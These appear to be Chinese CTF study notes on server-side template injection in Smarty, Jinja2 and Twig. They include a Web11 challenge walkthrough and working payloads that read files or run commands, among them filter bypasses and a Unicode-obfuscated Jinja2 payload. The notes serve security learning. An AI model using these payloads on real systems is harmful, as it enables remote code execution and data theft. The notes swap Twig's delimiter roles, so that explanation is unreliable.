服务器端模板注入(Server-Side Template Injection, SSTI)是一种安全漏洞,发生在Web应用程序的服务器端模板引擎处理用户输入时。当应用程序将未经验证或过滤的用户输入直接嵌入到模板中进行渲染时,攻击者可以注入恶意模板代码。这些恶意代码会被模板引擎执行,从而使攻击者能够读取服务器文件、执行系统命令或窃取敏感信息。
不同语言对应的ssti
模板
- 输入
{{7*‘7’}}
,返回49
表示是Twig
模块 - 输入
{{7*‘7’}}
,返回7777777
表示是Jinja2
模块
python:jinja2/mako/tornado/django |
在_HTTP_协议中,X-Forwarded-For
是一个拓展头部字段,用于在_HTTP_ 请求通过代理或负载均衡器时,标识原始请求的来源_IP_ 地址。
smarty ssti
smarty_是一个_php_的模板引擎,提供让程序逻辑与页面显示代码(_css/html )分离的功能。
{$smarty.version} #获取smarty的版本号 |
{if}{/if}
Smarty_的{if}
条件判断,要求每个{if}
必须有一个配对的{/if}
,也可以使用{else}{elseif}
,全部的_php 条件表达式和函数都可以在_if_ 内使用,如||*,or,&&,and,is_array()
等,还可以执行一些系统命令。
{if phpinfo()}{/if} |
[CISCN2019 华东南赛区]Web11
==smarty ssti
漏洞==
bp
抓包
添加X-Forwarded-For:{2-1}
,发送,找到注入点,右上角_IP_ 为1
。如果是x-Forwarded-For:10
,显示的_IP_ 为10
;x-Forwarded-For:{7-2}
,显示的_IP_ 为5
。
重新抓包
添加X-Forwarded-For:{if readfile('/flag')}{/if}
,发送,找到flag
jinja2 ssti
一些基础的方法:
__class__
:返回一个实例所属的类__bases__
:以元组形式返回一个类直接所继承的类(可以理解为直接父类)。__base__
:和上面的__bases__
大概相同,都是返回当前类所继承的类,即基类,区别是__base__
返回单个,__bases__
返回是元组。__mro__
:返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。__subclasses__
:返回当前类的子类,也可以通过索引的方式定位一个子类。__init__
:类的初始化方法。
绕过方法
字符串拼接
# {{sesssion['__class__']}} |
如果{{}}
被过滤,可以用{%%}
{% print(lipsum|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('cat /flag')|attr('read')()) %} |
如果下面列表中的元素全部被过滤,可以使用编码绕过
[' ','\'','*','[',']','_','.','globals','request','args','form','getitem','flag', |
Unicode
编码
{%print(lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u006f\u0073")|attr("\u0070\u006f\u0070\u0065\u006e")("\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067")|attr("\u0072\u0065\u0061\u0064")())%} |
Twig 模板注入
有两种形式的分隔符:{{ ... }}
和 {% ... %}
。前者用于执行语句,例如 for
循环,后者用于将表达式的结果输出到模板中。
函数
{% for i in range(0,3) %} |
payload
对于twig
模板注入,目前只知道有一些固定的payload
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}} |